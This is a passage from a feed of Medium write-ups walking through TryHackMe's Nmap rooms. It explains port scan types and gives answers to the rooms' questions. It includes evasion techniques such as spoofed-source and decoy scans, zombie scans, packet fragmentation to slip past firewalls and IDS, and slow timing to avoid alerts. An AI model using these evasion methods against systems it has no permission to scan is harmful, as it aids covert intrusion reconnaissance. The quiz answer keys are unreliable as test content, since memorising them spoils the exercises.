Decoys</em></strong></blockquote><p>In some network setups, you will be able to scan a target system using a spoofed IP address and even a spoofed MAC address. Such a scan is only beneficial when you can guarantee that you will capture the response. If you try to scan a target from some random network using a spoofed IP address, chances are you won’t have any response routed to you, and the scan results could be unreliable.</p><p>The following figure shows the attacker launching the command nmap -S SPOOFED_IP 10.113.190.12. Consequently, Nmap will craft all the packets using the provided source IP address SPOOFED_IP. The target machine will respond to the incoming packets, sending the replies to the destination IP address SPOOFED_IP. For this scan to work and give accurate results, the attacker needs to monitor the network traffic to analyse the replies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jOA3KjNPxCwuLU94.png" /></figure><p>In brief, scanning with a spoofed IP address is three steps:</p><ol><li>The attacker sends a packet with a spoofed source IP address to the target machine.</li><li>The target machine replies to the spoofed IP address as the destination.</li><li>The attacker captures replies to identify open ports.</li></ol><p>In general, you expect to specify the network interface using -e and to explicitly disable ping scan -Pn. Therefore, instead of nmap -S SPOOFED_IP 10.113.190.12, you will need to issue nmap -e NET_INTERFACE -Pn -S SPOOFED_IP 10.113.190.12 to tell Nmap explicitly which network interface to use and not to expect to receive a ping reply. It is worth repeating that this scan will be useless if the attacker&#39;s system cannot monitor the network for responses.</p><p>When you are on the same subnet as the target machine, you can spoof your MAC address as well. You can specify the source MAC address using --spoof-mac SPOOFED_MAC. This address spoofing is only possible if the attacker and the target machine are on the same Ethernet (802.3) network or the same WiFi (802.11).</p><p>Spoofing only works in a minimal number of cases where certain conditions are met. Therefore, the attacker might resort to decoys to make it harder to pinpoint. The concept is simple: make the scan appear to originate from many IP addresses so that the attacker’s IP address is lost among them. As shown in the figure below, the scan of the target machine will appear to come from 3 different sources, and consequently, the replies will go to the decoys as well.</p><p>You can launch a decoy scan by specifying a specific or random IP address after -D. For example, nmap -D 10.10.0.1,10.10.0.2,ME 10.113.190.12 will make the scan of 10.113.190.12 appear as coming from the IP addresses 10.10.0.1, 10.10.0.2, and then ME to indicate that your IP address should appear in the third order. Another example command would be nmap -D 10.10.0.1,10.10.0.2,RND,RND,ME 10.113.190.12, where the third and fourth source IP addresses are assigned randomly, while the fifth source is going to be the attacker’s IP address. In other words, each time you execute the latter command, you would expect two new random IP addresses to be the third and fourth decoy sources.</p><p><strong>Q:</strong> What do you need to add to the command sudo nmap 10.113.190.12 to make the scan appear as if coming from the source IP address 10.10.10.11 instead of your IP address?</p><p><strong>A:</strong> -S 10.10.10.11</p><p><strong>Q:</strong> What do you need to add to the command sudo nmap 10.113.190.12 to make the scan appear as if coming from the source IP addresses 10.10.20.21 and 10.10.20.28 in addition to your IP address?</p><p><strong>A:</strong> -D 10.10.20.21,10.10.20.28,ME</p><blockquote><strong><em>Fragmented Packets</em></strong></blockquote><h3>Firewall</h3><p>A firewall is a piece of software or hardware that either permits or blocks packets. It functions based on firewall rules, summarised as blocking all traffic with exceptions or allowing all traffic with exceptions. For instance, you might block all traffic to your server except that coming to your web server. A traditional firewall inspects at least the IP and transport layer headers. A more sophisticated firewall would also try to examine the data carried by the transport layer.</p><h3>IDS</h3><p>An Intrusion Detection System (IDS) inspects network packets for select behavioural patterns or specific content signatures. It raises an alert whenever a malicious rule is met. In addition to the IP and transport layer headers, an IDS would inspect the transport layer data and check whether it matches any malicious patterns. How can you make it less likely for a traditional firewall/IDS to detect your Nmap activity? It is not easy to answer this; however, depending on the type of firewall/IDS, you might benefit from dividing the packet into smaller packets.</p><h3>Fragmented Packets</h3><p>Nmap provides the option -f to fragment packets. Once chosen, the IP data will be divided into 8 bytes or fewer. Adding another -f (-f -f or -ff) will split the data into 16 byte-fragments instead of 8. You can change the default value by using the --mtu; however, you should always choose a multiple of 8.</p><p>To properly understand fragmentation, we need to examine the IP header shown in the figure below. It might look complicated at first, but we notice that we know most of its fields. In particular, notice that the source address occupies 32 bits (4 bytes) on the fourth row, while the destination address occupies another 4 bytes on the fifth row. The data that we will fragment across multiple packets is highlighted in red. To aid reassembly on the recipient side, IP uses the identification (ID) and fragment offset, shown in the second row of the figure below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7CzshxStmRe7Y0hS.png" /></figure><p>In the AttackBox, execute the command wireshark to capture the dump and enter the command sudo nmap -sS -p80 -f 10.113.190.12. As you know by now, this will use a stealth TCP SYN scan on port 80 and request that Nmap fragment IP packets.</p><p>With fragmentation requested via -f, the 24 bytes of the TCP header will be divided into multiples of 8 bytes, with the last fragment containing 8 bytes or fewer of the TCP header. Since 24 is divisible by 8, we get 3 IP fragments; each has a 20-byte IP header and an 8-byte TCP header. We can see the three fragments between the fifth and the seventh lines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*olh2tcu0Od45gfAE.png" /></figure><p>Note that if you added -ff (or -f -f), the data will be fragmented into multiples of 16. In other words, the 24 bytes of the TCP header, in this case, would be divided over two IP fragments, the first containing 16 bytes and the second containing 8 bytes of the TCP header.</p><p>On the other hand, if you prefer to increase the size of your packets to make them look innocuous, you can use the option --data-length NUM, where num specifies the number of bytes you want to append to your packets.</p><p><strong>Q:</strong> If the TCP segment has a size of 64, and the -ff option is being used, how many IP fragments will you get?</p><p><strong>A:</strong> 4</p><blockquote><strong><em>Idle/Zombie Scan</em></strong></blockquote><p>Spoofing the source IP address can be an effective way to conduct stealthy scans. However, spoofing will only work in specific network setups. It requires you to be in a position to monitor traffic. Considering these limitations, spoofing your IP address is unlikely to be useful; however, we can give it a boost with the idle scan.</p><p>The idle scan, or zombie scan, requires an idle system connected to the network that you can communicate with. Practically, Nmap will make each probe appear to come from the idle (zombie) host, then check whether the idle (zombie) host received any response to the spoofed probe. This is accomplished by checking the IP identification (IP ID) value in the IP header. You can run an idle scan using nmap -sI ZOMBIE_IP 10.113.190.12, where ZOMBIE_IP is the IP address of the idle host (zombie).</p><p>The idle (zombie) scan requires the following three steps to discover whether a port is open:</p><ol><li>Trigger the idle host to respond so that you can record the current IP ID on the idle host.</li><li>Send a SYN packet to a TCP port on the target. The packet should be spoofed to appear to come from the idle host’s IP address (zombie).</li><li>Trigger the idle machine again to respond so that you can compare the new IP ID with the one received earlier.</li></ol><p>Let’s explain with figures. In the figure below, we have the attacker system probing an idle machine, a multi-function printer. By sending a SYN/ACK, it responds with an RST packet containing its newly incremented IP ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R860jS1bPJo1FSno.png" /></figure><p>The attacker will send a SYN packet to the TCP port they want to check on the target machine in the next step. However, this packet will use the idle host (zombie) IP address as the source. Three scenarios would arise. In the first scenario, shown in the figure below, the TCP port is closed; therefore, the target machine responds to the idle host with an RST packet. The idle host does not respond; hence, its IP ID is not incremented.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EbUWK2OEpKhJFlI9.png" /></figure><p>In the second scenario, as shown below, the TCP port is open, so the target machine responds to the idle host (zombie) with a SYN/ACK. The idle host responds to this unexpected packet with an RST, incrementing its IP ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3Nw5Xi4rjCMfx2L4.png" /></figure><p>In the third scenario, the target machine does not respond at all due to firewall rules. This lack of response will result in the same outcome as with a closed port: the idle host won’t increment the IP ID.</p><p>For the final step, the attacker sends another SYN/ACK to the idle host. The idle host responds with an RST packet, incrementing the IP ID by one again. The attacker needs to compare the IP ID of the RST packet received in the first step with the IP ID of the RST packet received in this third step. If the difference is 1, it means the port on the target machine was closed or filtered. However, if the difference is 2, it means that the port on the target was open.</p><p>It is worth repeating that this scan is called an idle scan because selecting an idle host is essential to its accuracy. If the “idle host” is busy, all the returned IP IDs would be useless.</p><p><strong>Q:</strong> You discovered a rarely-used network printer with the IP address 10.10.5.5, and you decide to use it as a zombie in your idle scan. What argument should you add to your Nmap command?</p><p><strong>A:</strong> -sI 10.10.5.5</p><blockquote><strong><em>Getting More Details</em></strong></blockquote><p>You might consider adding --reason if you want Nmap to provide more details regarding its reasoning and conclusions. Consider the two scans below to the system; however, the latter adds --reason.</p><p><strong>Terminal</strong></p><pre>pentester@TryHackMe$ sudo nmap -sS 10.113.190.12<br><br>Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:39 BST<br>Nmap scan report for ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27)<br>Host is up (0.0020s latency).<br>Not shown: 994 closed ports<br>PORT STATE SERVICE<br>22/tcp open ssh<br>25/tcp open smtp<br>80/tcp open http<br>110/tcp open pop3<br>111/tcp open rpcbind<br>143/tcp open imap<br>MAC Address: 02:45:BF:8A:2D:6B (Unknown)<br><br>Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds</pre><p><strong>Terminal</strong></p><pre>pentester@TryHackMe$ sudo nmap -sS --reason 10.113.190.12<br><br>Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:40 BST<br>Nmap scan report for ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27)<br>Host is up, received arp-response (0.0020s latency).<br>Not shown: 994 closed ports<br>Reason: 994 resets<br>PORT STATE SERVICE REASON<br>22/tcp open ssh syn-ack ttl 64<br>25/tcp open smtp syn-ack ttl 64<br>80/tcp open http syn-ack ttl 64<br>110/tcp open pop3 syn-ack ttl 64<br>111/tcp open rpcbind syn-ack ttl 64<br>143/tcp open imap syn-ack ttl 64<br>MAC Address: 02:45:BF:8A:2D:6B (Unknown)<br><br>Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds</pre><p>Providing the --reason flag gives us the explicit reason why Nmap concluded that the system is up or a particular port is open. In the console output above, we can see that this system is considered online because Nmap “received arp-response.” On the other hand, we know the SSH port is open because Nmap received a “syn-ack” packet.</p><p>For more detailed output, you can consider using -v for verbose output or -vv for even more verbosity.</p><p><strong>Terminal</strong></p><pre>pentester@TryHackMe$ sudo nmap -sS -vv 10.113.190.12<br><br>Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:41 BST<br>Initiating ARP Ping Scan at 10:41<br>Scanning 10.10.252.27 [1 port]<br>Completed ARP Ping Scan at 10:41, 0.22s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 10:41<br>Completed Parallel DNS resolution of 1 host. at 10:41, 0.00s elapsed<br>Initiating SYN Stealth Scan at 10:41<br>Scanning ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27) [1000 ports]<br>Discovered open port 22/tcp on 10.10.252.27<br>Discovered open port 25/tcp on 10.10.252.27<br>Discovered open port 80/tcp on 10.10.252.27<br>Discovered open port 110/tcp on 10.10.252.27<br>Discovered open port 111/tcp on 10.10.252.27<br>Discovered open port 143/tcp on 10.10.252.27<br>Completed SYN Stealth Scan at 10:41, 1.25s elapsed (1000 total ports)<br>Nmap scan report for ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27)<br>Host is up, received arp-response (0.0019s latency).<br>Scanned at 2021-08-30 10:41:02 BST for 1s<br>Not shown: 994 closed ports<br>Reason: 994 resets<br>PORT STATE SERVICE REASON<br>22/tcp open ssh syn-ack ttl 64<br>25/tcp open smtp syn-ack ttl 64<br>80/tcp open http syn-ack ttl 64<br>110/tcp open pop3 syn-ack ttl 64<br>111/tcp open rpcbind syn-ack ttl 64<br>143/tcp open imap syn-ack ttl 64<br>MAC Address: 02:45:BF:8A:2D:6B (Unknown)<br><br>Read data files from: /usr/bin/../share/nmap<br>Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds<br>Raw packets sent: 1002 (44.072KB) | Rcvd: 1002 (40.092KB)</pre><p>If -vv does not satisfy your curiosity, you can use -d for debugging details or -dd for even more details. You can guarantee that using -d will create an output that extends beyond a single screen.</p><p><strong>Q:</strong> Use Nmap with nmap -sS -F — reason 10.113.190.12 to scan the VM. What is the reason provided for the stated port(s) being open?</p><p><strong>A:</strong> syn-ack</p><blockquote><strong><em>Summary</em></strong></blockquote><p>This room covered the following types of scans.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wi-DCOntSkT-9mYlTy1aKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o40aYC8NxafbXNB1PQocXA.png" /></figure><p>These scan types rely on setting TCP flags in unexpected ways to prompt ports for a reply. Null, FIN, and Xmas scans provoke a response from closed ports, while Maimon, ACK, and Window scans provoke a response from open and closed ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fdQgIz9wg0-UmPZlYDdxuA.png" /></figure><blockquote><strong><em>Conclusion</em></strong></blockquote><p>Here’s the link to the room on <strong>TryHackMe</strong>: <a href="https://tryhackme.com/room/nmap03">https://tryhackme.com/room/nmap03</a>. Check it out, and solve the lab, if you haven’t.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd167fc2d566" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nmap Series: Nmap Basic Port Scans — Part 2.]]></title>
            <link>https://oluwakamiye.medium.com/nmap-series-nmap-basic-port-scans-part-2-778b93193f83?source=rss-824919a2e164------2</link>
            <guid isPermaLink="false">https://medium.com/p/778b93193f83</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Oluwakamiye Adeyemo]]></dc:creator>
            <pubDate>Mon, 18 May 2026 20:58:10 GMT</pubDate>
            <atom:updated>2026-05-18T20:58:10.123Z</atom:updated>
            <content:encoded><![CDATA[<p>In this write-up, I walk you through the <strong>Nmap Basic Port Scans</strong> room in <strong>TryHackMe</strong>. I go in-depth on how nmap TCP connect scan, TCP SYN port scan, and UDP port scan work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*oeCGeGSEO6EhBxZVRa4NPg.png" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>This room is the second in the Nmap series (part of the Introduction to Network Security module).</p><ol><li><a href="https://tryhackme.com/room/nmap01">Nmap Live Host Discovery</a> — <strong>Check out my write-up for this room</strong>: <a href="https://medium.com/@oluwakamiye/nmap-series-nmap-live-host-discovery-part-1-5bab2c45f5de"><em>https://medium.com/@oluwakamiye/nmap-series-nmap-live-host-discovery-part-1-5bab2c45f5de</em></a></li><li><a href="https://tryhackme.com/room/nmap02">Nmap Basic Port Scans</a></li><li><a href="https://tryhackme.com/room/nmap03">Nmap Advanced Port Scans</a></li><li><a href="https://tryhackme.com/room/nmap04">Nmap Post Port Scans</a></li></ol><p>In the previous room (<em>Nmap Live Host Discovery</em>), we focused on discovering online systems. So far, we have covered three steps of an Nmap scan:</p><ol><li>Enumerate targets</li><li>Discover live hosts</li><li>Reverse-DNS lookup</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AAH29my1wVL6i56-.png" /></figure><h3>Learning Objectives</h3><p>The next step would be to check which ports are open and listening, and which are closed. Therefore, in this room and the next one, we focus on port scanning and the different types of port scans used by nmap. This room explains:</p><ol><li>TCP connect port scan</li><li>TCP SYN port scan</li><li>UDP port scan</li></ol><p>Moreover, we discuss the options for specifying ports, the scan rate, and the number of parallel probes.</p><h3>Connecting to the Machine</h3><p>Please click the Start Machine button to boot up the VM and Start AttackBox to start the AttackBox. It will take approximately 1-2 minutes to load and warm up all the services. You will need the VM in Task 4, so by the time you reach that task, the VM will be fully ready for use.</p><blockquote><strong><em>TCP and UDP Ports</em></strong></blockquote><p>In the same way that an IP address specifies a host on a network among many others, a TCP or UDP port identifies a network service running on that host. A server provides a network service and adheres to a specific network protocol. Examples include providing time, responding to DNS queries, and serving web pages. A port is usually linked to a service using that specific port number. For instance, an HTTP server would bind to TCP port 80 by default; if it supports SSL/TLS, it would also listen on TCP port 443. (TCP ports 80 and 443 are the default ports for HTTP and HTTPS; however, the web server administrator might choose other port numbers if necessary.) Furthermore, no more than one service can listen on any TCP or UDP port (on the same IP address).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*odrxI82LppGelec_.png" /></figure><p>At the risk of oversimplification, we can classify ports into two states:</p><ol><li>An open port indicates that a service is listening on that port.</li><li>A closed port indicates that no service is listening on that port.</li></ol><p>However, in practical situations, we need to consider the impact of firewalls. For instance, a port might be open, but a firewall might be blocking the packets. Therefore, Nmap considers the following six states:</p><ol><li>An <strong>open </strong>port indicates that a service is listening on the specified port.</li><li>A <strong>closed</strong> port indicates that no service is listening on the specified port, although the port is accessible. By accessible, we mean that it is reachable and is not blocked by a firewall or other security appliances/programs.</li><li><strong>Filtered means that Nmap cannot determine whether the port is open or closed because it</strong> <strong>is not accessible</strong>. This state is usually due to a firewall preventing Nmap from reaching that port. Nmap’s packets may be blocked from reaching the port; alternatively, responses may be blocked from reaching Nmap’s host.</li><li><strong>Unfiltered means that Nmap cannot determine whether the port is open or closed, even though the port is accessible</strong>. This state is encountered when using an ACK scan -sA.</li><li><strong>Open|Filtered</strong>: This means that Nmap cannot determine whether the port is open or filtered.</li><li><strong>Closed|Filtered</strong>: This means that Nmap cannot decide whether a port is closed or filtered.</li></ol><p><strong>Q:</strong> Which service uses UDP port 53 by default?</p><p><strong>A:</strong> DNS</p><p><strong>Q:</strong> Which service uses TCP port 22 by default?</p><p><strong>A:</strong> SSH</p><p><strong>Q:</strong> How many port states does Nmap consider?</p><p><strong>A:</strong> 6</p><p><strong>Q:</strong> Which port state is the most interesting to discover as a pentester?</p><p><strong>A:</strong> Open</p><blockquote><strong><em>TCP Flags</em></strong></blockquote><p>Nmap supports different types of TCP port scans. To understand the difference between these port scans, we need to review the TCP header. The TCP header is the first 24 bytes of a TCP segment. The following figure shows the TCP header as defined in <a href="https://datatracker.ietf.org/doc/html/rfc793.html">RFC 793</a>. This figure looks sophisticated at first; however, it is pretty simple to understand. In the first row, we have the source TCP port and the destination TCP port. We can see that the port number is allocated 16 bits (2 bytes). In the second and third rows, we have the sequence number and the acknowledgement number. Each row has 32 bits (4 bytes) allocated, for a total of 6 rows, making 24 bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*n8K0gKgEgx18_mm_.png" /></figure><p>In particular, we need to focus on the flags that Nmap can set or unset. We have highlighted the TCP flags in red. Setting a flag bit means setting its value to 1. From left to right, the TCP header flags are:</p><ol><li><strong>URG</strong>: Urgent flag indicates that the urgent pointer field is significant. The urgent pointer indicates that the incoming data is urgent, and that a TCP segment with the URG flag set is processed immediately, without waiting for previously sent TCP segments.</li><li><strong>ACK</strong>: Acknowledgement flag indicates that the acknowledgement number is significant. It is used to acknowledge the receipt of a TCP segment.</li><li><strong>PSH</strong>: Push flag asking TCP to pass the data to the application promptly.</li><li><strong>RST</strong>: The reset flag is used to reset the connection. Another device, such as a firewall, might send it to tear a TCP connection. This flag is also used when data is sent to a host, and there is no service on the receiving end to answer.</li><li><strong>SYN</strong>: The synchronise flag is used to initiate a TCP 3-way handshake and synchronise sequence numbers with the other host. The sequence number should be set randomly during TCP connection establishment.</li><li><strong>FIN</strong>: The sender has no more data to send.</li></ol><p><strong>Q:</strong> What 3 letters represent the Reset flag?</p><p><strong>A:</strong> RST</p><p><strong>Q:</strong> Which flag needs to be set when you initiate a TCP connection (first packet of TCP 3-way handshake)?</p><p><strong>A:</strong> SYN</p><blockquote><strong><em>TCP Connect Scan</em></strong></blockquote><p>TCP connect scan works by completing the TCP 3-way handshake. In standard TCP connection establishment, the client sends a TCP packet with the SYN flag set, and the server responds with SYN/ACK if the port is open; finally, the client completes the 3-way handshake by sending an ACK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uA9wW1idkHK5ZdCr.png" /></figure><p>We are interested in learning whether the TCP port is open, not in establishing a TCP connection. Hence, the connection is torn as soon as its state is confirmed by sending a RST/ACK. You can choose to run a TCP connect scan using -sT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*p5dvYWSC6fp8kkkd.png" /></figure><p>It is important to note that if you are not a privileged user (root or sudoer), a TCP connect scan is the only possible option to discover open TCP ports.</p><p>In the following Wireshark packet capture window, we see Nmap sending TCP packets with the SYN flag set to various ports, 5900, 22, 80, and so on. By default, Nmap will attempt to connect to the 1000 most common ports. A closed TCP port responds to a SYN packet with RST/ACK to indicate that it is not open. This pattern will repeat for all the closed ports as we attempt to initiate a TCP 3-way handshake with them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/0*8xzt7WQAur6lC2_o.png" /></figure><p>We notice that port 80 is open, so it replied with a SYN/ACK, and Nmap completed the 3-way handshake by sending an ACK. The figure below shows all the packets exchanged between our Nmap host and the target system’s port 80. The first three packets are the TCP 3-way handshake. Then the fourth packet tears it down with an RST/ACK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/0*k3AgYAtrUWycmZyd.png" /></figure><p>To illustrate the -sT (TCP connect scan), Run the following command in the AB to get a detailed list of the open ports.</p><p><strong>Terminal</strong></p><pre>root@ip-10-201-98-13:~# nmap -sT 10.112.154.61<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-10 12:16 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.112.154.61<br>Host is up (0.070s latency).<br>Not shown: 996 closed ports<br>PORT STATE SERVICE<br>21/tcp xxxx ftp<br>22/tcp open ssh<br>53/tcp open xxxxxx<br>80/tcp open http<br><br>Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds</pre><p>Note that we can use -F to enable fast mode and decrease the number of scanned ports from 1000 to 100 most common ports.</p><p>It is worth mentioning that the -r option can also be added to scan the ports in consecutive order instead of random order. This option is useful for testing whether ports open consistently, for instance, when a target boots up.</p><p><strong>Q:</strong> What is the state of the FTP service running on port 21?</p><p><strong>A:</strong> open</p><p><strong>Q:</strong> What is Nmap’s guess about the service running on port 53?</p><p><strong>A:</strong> domain</p><blockquote><strong><em>TCP SYN Scan</em></strong></blockquote><p>Unprivileged users are limited to the connect scan. However, the default scan mode is a SYN scan, and it requires a privileged (root or sudo) user to run. SYN scan does not need to complete the TCP 3-way handshake; instead, it tears down the connection after receiving a response from the server. Because we didn’t establish a TCP connection, the scan is less likely to be logged. We can select this scan type by using the -sS option. The figure below shows how the TCP SYN scan works without completing the TCP 3-way handshake.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wsMALFs3ljAkFDOT.png" /></figure><p>The following screenshot from Wireshark shows a TCP SYN scan. The behaviour when TCP ports are closed is similar to that of a TCP connect scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/0*6Gjq_iMWFJ0MKu3h.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/0*XZ6vM5wdjbUEUJKx.png" /></figure><p>To better see the difference between the two scans, consider the following screenshot. In the upper half of the following figure, we can see TCP connect scan -sT traffic. Any open TCP port will require Nmap to complete the TCP 3-way handshake before closing the connection. In the lower half of the following figure, we see how a SYN scan -sS does not need to complete the TCP 3-way handshake; instead, Nmap sends an RST packet once a SYN/ACK packet is received.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/0*cSRVNTSwwlPBPuqw.png" /><figcaption>TCP Connect Scan</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IhL7s2llZdkgIP6u.png" /><figcaption>TCP SYN Scan</figcaption></figure><p>TCP SYN scan is the default scan mode when running Nmap as a privileged user (root or sudo), and it is a very reliable choice. It has successfully discovered the open ports you found earlier with the TCP connect scan, yet no TCP connection was fully established with the target.</p><p><strong>Terminal</strong></p><pre>root@ip-10-201-98-13:~# nmap -sS 10.10.105.229<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-10 12:08 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.10.105.229<br>Host is up (0.070s latency).<br>Not shown: 996 closed ports<br>PORT STATE SERVICE<br>21/tcp open ftp<br>22/tcp open ssh<br>53/tcp open domain<br>80/tcp open http<br><br>Nmap done: 1 IP address (1 host up) scanned in 1.36 seconds</pre><p><strong>Q:</strong> After launching a TCP SYN scan, how many SYN-ACK packets are successfully received in AttackBox?</p><p><strong>A:</strong> 4</p><p><strong>Q:</strong> How many ports are open on the target machine?</p><p><strong>A:</strong> 4</p><blockquote><strong><em>UDP Scan</em></strong></blockquote><p>UDP is a connectionless protocol; hence, it does not require a handshake for connection establishment. We cannot guarantee that a service listening on a UDP port would respond to our packets. However, if a UDP packet is sent to a closed port, an ICMP port unreachable error (type 3, code 3) is returned. You can select UDP scan using the -sU option; moreover, you can combine it with another TCP scan.</p><p>The following figure shows that if we send a UDP packet to an open UDP port, we cannot expect a reply. Therefore, sending a UDP packet to an open port won’t tell us anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UeB7w46tZy5-6iY_.png" /></figure><p>However, as shown in the figure below, we expect to receive an ICMP type 3, code 3, destination unreachable, port unreachable message. In other words, the UDP ports that don’t generate any response are the ones that Nmap will state as open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qGuTKjH5TaCg2Jh1.png" /></figure><p>In the Wireshark capture below, we can see that every closed port generates an ICMP destination unreachable (port unreachable) message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*x6Hid0H-GsDgoXUu.png" /></figure><p>From the AB, use the following command to perform a UDP scan of the top 10 ports on the target machine:</p><p><strong>Terminal</strong></p><pre>root@ip-10-201-98-13:~# nmap -sU --top-ports 10 10.112.154.61<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-10 12:29 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.112.154.61<br>Host is up (0.070s latency).<br><br>PORT STATE SERVICE<br>53/udp open domain<br>67/udp closed dhcps<br>123/udp closed ntp<br>135/udp closed msrpc<br>137/udp closed netbios-ns<br>138/udp closed netbios-dgm<br>161/udp closed snmp<br>445/udp closed microsoft-ds<br>631/udp closed ipp<br>1434/udp closed ms-sql-m<br><br>Nmap done: 1 IP address (1 host up) scanned in 1.45 seconds</pre><p>Launching a UDP scan against this server proved valuable, and indeed, we learned that port 53 is open, while it also shared the status of multiple closed ports.</p><p><strong>Q:</strong> What is the state of port number 161 over UDP in the target machine?</p><p><strong>A:</strong> closed</p><p><strong>Q:</strong> What is the service name according to Nmap on port 161?</p><p><strong>A:</strong> snmp</p><blockquote><strong><em>Fine-Tuning Scope and Performance</em></strong></blockquote><p>You can specify the ports you want to scan instead of the default 1000 ports. Specifying the ports is intuitive by now. Let’s see some examples:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i0TiGTOtr3KXgw0p.png" /></figure><ul><li>port list: -p22,80,443 will scan ports 22, 80 and 443.</li><li>port range: -p1-1023 will scan all ports between 1 and 1023 inclusive, while -p20-25 will scan ports between 20 and 25 inclusive.</li></ul><p>You can request the scan of all ports by using -p-, which will scan all 65535 ports. If you want to scan the most common 100 ports, add -F. Using --top-ports 10 will check the ten most common ports.</p><p>You can control the scan timing using -T&lt;0-5&gt;. -T0 is the slowest (paranoid), while -T5 is the fastest. According to the Nmap manual page, there are six templates:</p><ul><li>paranoid (0)</li><li>sneaky (1)</li><li>polite (2)</li><li>normal (3)</li><li>aggressive (4)</li><li>insane (5)</li></ul><p>To avoid IDS alerts, you might consider -T0 or -T1. For instance, -T0 scans one port at a time and waits 5 minutes between sending each probe, so you can guess how long scanning one target would take to finish. If you don’t specify any timing, Nmap uses normal -T3. Note that -T5 is the most aggressive in terms of speed; however, this can affect the accuracy of the scan results due to the increased likelihood of packet loss. Note that -T4 is often used during CTFs and when learning to scan on practice targets, whereas -T1 is often used during real engagements where stealth is more important.</p><p>Alternatively, you can choose to control the packet rate using --min-rate &lt;number&gt; and --max-rate &lt;number&gt;. For example, --max-rate 10 or --max-rate=10 ensures that your scanner is not sending more than ten packets per second.</p><p>Moreover, you can control probing parallelisation using --min-parallelism &lt;numprobes&gt; and --max-parallelism &lt;numprobes&gt;. Nmap probes targets to discover which hosts are live and which ports are open; the probing parallelisation parameter specifies the number of such probes that can run in parallel. For instance, --min-parallelism=512 pushes Nmap to maintain at least 512 probes in parallel; these 512 probes are related to host discovery and open ports.</p><p><strong>Q:</strong> What is the option to scan all the TCP ports between 5000 and 5500?</p><p><strong>A:</strong> -p5000–5500</p><p><strong>Q: </strong>How can you ensure that Nmap will run at least 64 probes in parallel?</p><p><strong>A:</strong> — min-parallelism=64</p><p><strong>Q:</strong> What option would you add to make Nmap very slow and paranoid?</p><p><strong>A: </strong>-T0</p><blockquote><strong><em>Summary</em></strong></blockquote><p>This room covered three types of scans.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7dUQ12_puIhun-tzuFpQAw.png" /></figure><p>These scan types should get you started discovering running TCP and UDP services on a target host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0mr1-KUMKl0njdEHKCRYuQ.png" /></figure><blockquote><strong><em>Conclusion</em></strong></blockquote><p>Here’s the link to the room on <strong>TryHackMe</strong>: <a href="https://tryhackme.com/room/nmap02">https://tryhackme.com/room/nmap02</a>. Check it out, and solve the lab, if you haven’t.</p><img 